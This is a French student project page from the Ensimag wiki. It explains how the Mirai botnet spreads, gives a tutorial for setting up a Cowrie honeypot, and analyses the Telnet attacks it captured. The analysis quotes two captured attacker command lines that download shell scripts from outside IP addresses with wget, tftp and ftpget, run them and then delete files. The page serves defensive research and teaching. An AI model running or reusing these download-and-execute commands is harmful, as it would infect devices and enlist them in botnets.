Analyse du botnet MIRAI avec un honeypot : Différence entre versions

De Ensiwiki
Aller à : navigation, rechercher
Ligne 1 : Ligne 1 :
 +
[[Catégorie:Projets]]
 +
[[Catégorie:Projets Réseaux Mobiles et Avancés]]
 +
 
Projet Réseau Avancé - 3a ISI Ensimag
 
Projet Réseau Avancé - 3a ISI Ensimag
  

Version du 18 octobre 2017 à 13:38


Projet Réseau Avancé - 3a ISI Ensimag

Slides de la présentation : Média:botnet_mirai_propagation_slides.pdf

Maxime DADOUA - Bastien JEUBERT


Introduction

La sécurité a toujours été un problème en informatique, la protection des données et du système est essentielle. Les attaquants visent souvent la disponibilité du système, que ce soit pour des raisons personnelles, politiques, ou économiques. Le déni de service distribué (DDOS) est une des attaques efficaces, souvent utilisé pour faire chanter la victime car il est dur de s’en protéger. L’attaque classique est devenu chère à mettre en place : il faut énormément de machines pour passer outre l’efficacité des bannissements ip. L’utilisation de botnets est devenu trop coûteuse, mais les attaquants n’en sont pas restés là et les attaques de déni de service ont bien évolué ces dernières années jusqu’aux attaques de MIRAI fin 2016.


Le changement principal vient de l’explosion du nombre d’objets connectés à internet. Le monde des objets connectés comporte des milliards de systèmes dont une bonne partie est connectée sur internet comme les caméras de surveillance IP. Si les ordinateurs sont protégés par des anti-virus, ces objets connectés ne le sont pas du fait de leur fonction bien spécifique. Pourtant, la plupart dérivent de Linux, ils devraient être sécurisés puisque ce système l’est, mais certains sont mal conçus, en particulier certaines caméras IP vendues avec un unique mot de passe par défaut, accessible à tous. Mirai est un botnet classique, ciblant particulièrement ces systèmes en exploitant une liste de mots de passe prédéfinis.


Comment fonctionne MIRAI ? Comment détecter et analyser ce genre de botnet ? Comment se protéger ? La meilleure technique est la défense active aux travers de honeypots. Cette approche vise à comprendre et analyser le comportement du virus, jusqu’à le récupérer, pour mieux s’en protéger. Nous expliquons ici comment mettre en place le honeypot Cowrie pour se faire passer pour une cible et récupérer une partie de l’activité de MIRAI et d'autres botnets visibles sur internet.


MIRAI

Le code source de MIRAI est disponible sur github depuis Octobre 2016. C’est un virus qui prend le contrôle d'un système vulnérable et l’utilise pour chercher d’autres objets connectés vulnérables, se propageant et créant un botnet. La propagation est basée sur un scan de l’internet, la plupart des adresses sont utilisées et une partie atteignable non négligeable est vulnérable.

Techniquement, un participant de botnet teste la connection telnet vers un client visible sur internet. Plus de la moitié des adresses ip existent, il suffit donc de tomber sur un objet connecté vulnérable. Avec une vitesse de scan en centaines de machines par seconde pour chaque client infecté, cela est réaliste, et le réseau se propage jusqu’à toucher une grande partie des machines vulnérables.


Lors de l’attaque de MIRAI du 21 octobre 2016, ce sont des centaines de milliers de machines infectées qui étaient utilisées et des centaines nouvellement infectées chaque seconde.

Propagation

Botnet mirai propagation.jpg

Schéma 1. Propagation de MIRAI

Les objets infectés (ou ordinateurs de l’attaquant au tout début) scannent internet à la recherche d’autres machines vulnérables (identifiant et mot de passe par défaut connu de l’attaquant).

  1. Une des caméras parvient à se connecter par telnet à la cible. Quand cette machine du réseau MIRAI détecte la vulnérabilité après une série de question (suites de commandes linux pour identifier l’objet trouvé et sa version linux), elle le signale au serveur Scan Receiver qui s’occupe de récupérer les résultats des scans du botnet.
  2. Ce dernier donne l’adresse de la machine à attaquer au loader.
  3. Le loader contacte la caméra cible et télécharge le virus sur cette dernière, le lance. La machine est alors infectée et fait partie du botnet MIRAI.

Contrôle

Le serveur à la tête du réseau (le CNC) utilise la communication point à point : chaque bot interroge occasionnellement ce serveur. Le CNC stocke les informations dans la base de données pour les statistiques et s’il faut contacter les membres du botnet. Pour rester discret la communication est initialisée par les machines infectées. Le CNC contrôle le réseau, par exemple, c'est lui qui donne l’ordre de DDOS une cible.


Honeypot

Comment lutter contre ces botnets ?

Le meilleur moyen est la défense active qui consiste à identifier et comprendre leur fonctionnement pour les filtrer (Anti-virus et Parefeu principalement). Le problème est qu’il est difficile de mettre la main sur le virus : il faut récupérer une machine infectée puis sa mémoire. Une solution est alors de se faire passer pour une machine vulnérable et de se faire attaquer pour récupérer le virus directement. C’est le principe des honeypots.

Pratique

Botnet mirai configuration.png

Outils utilisés

Cowrie

Cowrie est un honeypot SSH/Telnet. Il propose un environnement similaire à celui de SSH ou Telnet, dupant ainsi les attaquants qui croient accéder à la machine cible alors qu’ils se trouvent en fait sur l’environnement du honeypot, isolé du reste de la machine. L’attaquant va tenter d’y installer le virus MIRAI (ou autre) jusqu’à ce qu’il se rende compte qu’il se trouve en fait sur un honeypot (le plus souvent lorsqu’il essaye d’exécuter une commande que l’environnement de Cowrie ne peut pas traiter). Toutes les actions ainsi que les adresses IP des attaquants sont loguées pour un traitement futur (analyses et statistiques des botnets, blacklist IP…).


Kippo Graph

Kippo est un honeypot tout comme Cowrie, il en est même son ancêtre. Il dispose de la fonctionnalité d’envoyer les logs vers une base de données MySQL, et Kippo-Graph est donc l’application PHP qui permet de visualiser les données récoltées sous forme de graphiques. Voici quelques fonctionnalités de Kippo-Graph :

  • Répartition géographique des attaquants
  • Commandes les plus essayées
  • Mots de passe essayés
  • Nombre de requêtes reçues sur l’honeypot suivant l’heure.

Cowrie étant basé sur Kippo, il permet d’envoyer les logs sur une base de données MySQL avec le même format que Kippo, il est donc possible d’utiliser Kippo-Graph pour visualiser les logs de Cowrie (avec quelques manipulations néanmoins).

Tutoriel

  1. Installez VirtualBox (version utilisée : 5.30). Cette étape n’est pas nécessaire, vous pouvez très bien installer Cowrie sur un Mac ou un Linux natif. Les étapes suivantes supposent une machine sous Ubuntu, adaptez-les suivant votre OS.
  2. Si vous utilisez VirtualBox, créez une machine virtuelle Ubuntu 16.04 (lien de téléchargement : http://releases.ubuntu.com/16.04/, prendre une Desktop image)
  3. Installez Cowrie :
    1. Suivre les étapes de : https://github.com/micheloosterhof/cowrie/blob/master/INSTALL.md jusqu’à l’étape 5 et suivez ensuite les étapes spécifiques décrites ci-dessous.
    2. Dans le répertoire de Cowrie, faire git checkout 45022b7 : cela récupère une version antérieure de Cowrie, où l’envoi des données vers MySQL fonctionne contrairement aux dernières versions.
  4. Installez MySQL :
    1. Sur un terminal:
      • sudo apt-get install python-mysqldb mysql-server libmysqlclient-dev (choississez un mot de passe pour MySql)
      • mysql -u root -p (entrez le mot de passe que vous avez donné à MySQL)
      • CREATE DATABASE cowrie;
      • GRANT ALL PRIVILEGES ON cowrie.* TO 'cowrie'@'localhost' IDENTIFIED BY '<Mot de passe utilisé par Cowrie pour se connecter à MySQL, à définir>;
      • exit
    2. Activez l’environnement virtuel cowrie-env avec la commande : source cowrie-env/bin/activate, puis installez le module MySQL de Python avec : pip install MySQL-python. Désactivez ensuite l’environnement virtuel avec deactivate.
  5. Permettre à Cowrie d’envoyer les données à MySQL :
    1. Sur un terminal, allez dans le répertoire de Cowrie (normalement /home/cowrie/cowrie)
    2. Entrez les commandes :
      • mysql -u cowrie -p, entrez ensuite le mot de passé donné à l’utilisateur cowrie
      • USE cowrie;
      • source ./doc/sql/mysql.sql;
        Cela a pour effet de charger les structures de table que Cowrie va utiliser pour envoyer les données.
    3. Quittez la session MySQL (exit). Ensuite, modifiez le fichier de configuration de cowrie (cowrie.cfg dans le répertoire de l’outil) : décommentez les lignes relatives au “MySQL logging module” et remplacez-les comme suit :
      [output_mysql]
      host = localhost
      database = cowrie
      username = cowrie
      password = <le mdp utilisé pour l’utilisateur cowrie de la DB>
      port = 3306
      debug = true
  6. Activer Telnet :
    modifiez le fichier de configuration de cowrie (cowrie.cfg dans le répertoire de l’outil) : ::décommentez les lignes suivantes relatives à Telnet.
    [telnet]
    enabled = true
    listen_addr = 0.0.0.0
    listen_port = 2223
  7. Configuration de l’environnement réseau :
    1. Mettez le réseau de la VM en mode “bridge” (la VM sera donc considéré comme un nouvel équipement réseau pour la Box, avec une adresse IP locale obtenue par DHCP) :
      Menu : Configuration de la Machine -> Settings -> Network
      Dans la liste “Attached to”, sélectionnez “Bridged Adapter”.
      Dans le champ “Name”, choisissez la bonne interface réseau (celle par laquelle vous êtes connecté à Internet sur la machine hôte), notez son nom.
    2. Dans un terminal, tapez “ifconfig” et notez l’adresse utilisée pour l’interface du “Bridge Adapter”.
    3. La suite va dépendre de votre Box ou de votre FAI. Connectez-vous à l’interface d’administration de votre Box (http://192.168.1.1 pour une Livebox, 192.168.1.254 pour une BBox), et définissez des règles NAT redirigeant (et autorisant) le trafic entrant vers la Box sur les ports 22 et 23 vers les ports 2222 et 2223 de l’adresse de la VM Ubuntu (celle obtenue par ifconfig). (cf. schéma plus loin)
  8. Enfin, lancez Cowrie avec la commande ./start.sh cowrie-env dans le répertoire de Cowrie. Vous pouvez vérifier le bon fonctionnement en essayant de vous connecter en SSH depuis la machine hôte avec : ssh -p 2222 root@<IP VM Ubuntu>. Vous pouvez tester le mot de passe !123456. Vous pouvez tester la redirection avec la commande “telnet IP_de_la_box”
  9. Si la Box accepte bien les requêtes provenant de l’extérieur, vous devriez normalement recevoir des requêtes de botnets au bout de quelques minutes sur les honeypots Telnet et SSH (surtout Telnet).
  10. Afficher les résultats en directe
    watch -n 5 'cat /home/cowrie/cowrie/log/lastlog.txt | tail -n 30’
  11. Visionner vos résultats avec https://github.com/ikoniaris/kippo-graph version 1.5.1

En cas de problème similaire à celui-ci, visible en utilisant la commande tail sur log/cowrie.log :

_mysql_exceptions.DataError: (1406, "Data too long for column 'ip' at row 1")

Les insertions dans la base de données ne fonctionnent pas, nous avons trouvé la solution suivante :

  • Se connecter à la DB : mysql -u cowrie -p<mot de passe>
  • USE cowrie;
  • ALTER TABLE sensors MODIFY ip longtext;
  • exit
  • Relancez enfin cowrie.

Configuration dans le cas d'une Livebox

Etape 1: allez sur http://192.168.1.1
Etape 2
Etape 3: créez des règles comme celles-ci pour l'équipement où se trouve le honeypot


Résultats

Environnement de mesure

Nous avons fait tourner cowrie sur nos boxs (livebox) visibles depuis internet et avons récupéré les résultats de la manipulation précédente.

Configuration matériel 1 :

  • Réseau privé, Livebox Orange adresse IP fourni par le FAI
  • macOS 10.12.2
  • Redirection NAT des ports 22/23 vers les ports 2222/2223
  • Date : 24/01/2017 de 10:14 à 15:25, 126 connexions enregistrées

Configuration matériel 2 :

  • Réseau privé, bbox Bouygues Telecom adresse IP fixe fourni par le FAI
  • Ubuntu 16.04 dual boot
  • Redirection NAT des port 22/23 vers le pc
  • Date : 20/01/2017 de 17h53 à 00h10, 79 attaques avec commandes enregistrées

La procédure précédente de la partie pratique nous permet de récupérer les adresses IP des machines des botnets qui analysent le réseau. Il n’y a pas que MIRAI.

Résultats pour la BBox

Les commandes des attaques enregistrées pendant ces 6 heures montrent l'activité de plusieurs botnets. On a récupéré l'activité de certains botnets (les plus actifs puisqu'on n'est pas particulièrement ciblé) qui visent les interfaces d’administration Telnet (port 23).

Botnet mirai kippograph diagram.png

Différentes machines sont ciblées : Ubuntu, Raspberry, des machines Linux principalement.

Résultats pour la Livebox

Les résultats sont similaires à ceux obtenus pour la BBox. On remarque en premier lieu que plus d'attaques ont été observées alors que l'expérience a duré moins longtemps. Peut-être que les botnets scannent plus sur certaines périodes, ou bien cela n'a pas vraiment d'explication.

De même que pour la BBox, les attaques ont particulièrement ciblé Telnet, la plupart d'entre elles suivent le même mode opératoire (test du système à base de commandes basiques, présence ou non de busybox, ...) et s'arrêtent quand elles se rendent compte que la machine est un honeypot.

Top10 passwords.png

Au-delà des tentatives classiques (1234, root...), on remarque la présence de "realtek", entreprise assez active dans le domaine des objets connectés.

Analyse

A quoi correspondent ces attaques ?

Lorsqu’on s’intéresse aux adresses IP, on voit que les attaques proviennent du monde entier. Ce sont souvent des serveurs ou clients tournant sous Linux, puisque Telnet (terminal network) permet d'échanger du texte et est essentiellement utilisé comme terminal distant. La plupart des attaques sont courtes et les attaquants abandonnent quand ils se rendent compte qu'on ne correspond pas à leur cible (ils peuvent par exemple cibler une marque de de caméra ou autre objet connecté particulier).

Quel botnet ?

On s’intéresse particulièrement à l'attaque suivante : root pts/0 42.114.17.228 Fri Jan 20 18:03 - 18:04 (00:24)

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://89.34.237.120/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 89.34.237.120 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 89.34.237.120; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 89.34.237.120 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *; exit

"tftp 89.34.237.120" nous donne l'adresse d'un serveur communément appelé "loader". Après quelques recherches sur internet on identifie un possible botnet Roumain à Lipova. Ainsi que le virus, http://www.virustotal.com/fr/file/1d0e890f261f13248790edd3f7e22bbb9e1c0ae0b1cfe6ed2b1efb744d5600cc/analysis/, soupçonné d’être Lightaidra (https://github.com/eurialo/lightaidra). Ce virus prend le contrôle de routeurs. Il s'agit bien d'un botnet, plus vieux que MIRAI, mais dont les principes restent les mêmes : utiliser le réseau construit à des fin de Déni de services.

Une attaque du même genre a été enregistrée lors des mesures sur Livebox :

cd /tmp || cd /var/system || cd /mnt || cd /lib;rm -f /tmp/* || /var/run/* || /var/system/* || /mnt/* || /lib/*;cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://45.76.31.197/cunty.sh; chmod 777 cunty.sh; sh cunty.sh; tftp 45.76.31.197 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g

Cependant, cette fois, aucun fichier n'a été téléchargé, il s'avère que le fichier qu'il essaie de télécharger n'est pas présent sur le serveur. S'en suit un comportement intéressant où le botnet ne ferme pas la connexion comme on pourrait d'abord l'imaginer, mais réessaie continuellement ces commandes (faussant du coup quelque peu certains graphes, comme le Top 10 des commandes les plus utilisées).

En cherchant un peu sur Internet, nous avons pu remonter la trace du script exécuté, ce qui nous apporte des informations intéressantes :

  • Son code source ne semble pas très connu contrairement à MIRAI (environ 200 vues seulement), et il semble assez récent (leak en janvier 2017)
  • Il semble basé sur Qbot, un botnet qui a pu infiltrer un demi-million de machines en 2014
  • L'attaquant des mesures Livebox a semble-t-il oublié de fournir son propre "virus" (c'est-à-dire, remplacer le cunty.sh par un vrai fichier) contrairement à celui des mesures BBox. À moins que son objectif était de "pourrir" les données collectées par un honeypot ?

Comment se protéger ?

Il faut éviter de posséder des machines vulnérables :

  • Éviter les connexions internet inutiles à certains objets (réseau local au plus)
  • Changer les mots de passes par défaut
  • Mettre à jour les systèmes d'exploitation et logiciels

Vous pouvez aussi surveiller les réseaux : logiciels de surveillance et d'analyse, pare-feu.

Bibliographie

Introduction au sujet :

Articles sur la sécurité dans le monde des objets connectés
techcrunch.com/2015/10/24/why-iot-security-is-so-critical/
www.w3.org/2014/02/wot/papers/mattsson.pdf
Introduction à la technique de défense active utilisé par les honeypots
en.wikipedia.org/wiki/Deception_technology
Liste de quelques honeypots
github.com/paralax/awesome-honeypots

Mirai :

Message de l’auteur de Mirai sur le code de son botnet et code source
github.com/jgamblin/Mirai-Source-Code/blob/master/ForumPost.md
Article sur l’analyse de MIRAI avant la publication par son auteur
blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html?m=1
Article sur l’analyse de MIRAI après l’attaque
www.malwaretech.com/2016/10/mapping-mirai-a-botnet-case-study.html
blogs.splunk.com/2016/10/07/analyzing-the-mirai-botnet-with-splunk/
Listes des mots de passe utilisé par MIRAI
www.csoonline.com/article/3126924/security/here-are-the-61-passwords-that-powered-the-mirai-iot-botnet.html

Cowrie :

Honeypot Cowrie (ssh et telnet) :
github.com/micheloosterhof/cowrie
Description d’un honeypot avec Cowrie :
mattdoesinfosec.wordpress.com/
Creative Commons BY-NC-ND 3.0Cette page est placée sous Licence Creative Commons BY-NC-ND 3.0. Vous n'êtes pas autorisés à copier du contenu de cette page vers une autre page de ce Wiki sous une licence différente, ni de changer cette licence sans l'autorisation de l'Ensimag. Bien sûr, vous devez respecter la licence pour une utilisation en dehors de l'Ensimag.